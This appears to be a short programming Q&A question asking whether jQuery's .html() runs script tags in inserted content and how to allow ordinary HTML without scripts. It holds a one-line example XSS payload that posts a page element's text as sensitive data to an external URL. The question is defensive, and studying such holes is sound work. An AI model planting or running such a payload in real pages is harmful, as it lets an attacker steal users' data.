Possible Duplicate:
html() vs innerHTML jquery/javascript & XSS attacks
Is jQuery.html() dangerous?
$("#id").html("<span>"+ variable + "</span>");
Like in the example above, if variable would have the following value:
"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {} ) </script>"
Would the script be executed? If so is there any way to allow variable to contain normal html tags but not scripts?
Edit: Added script tag to the string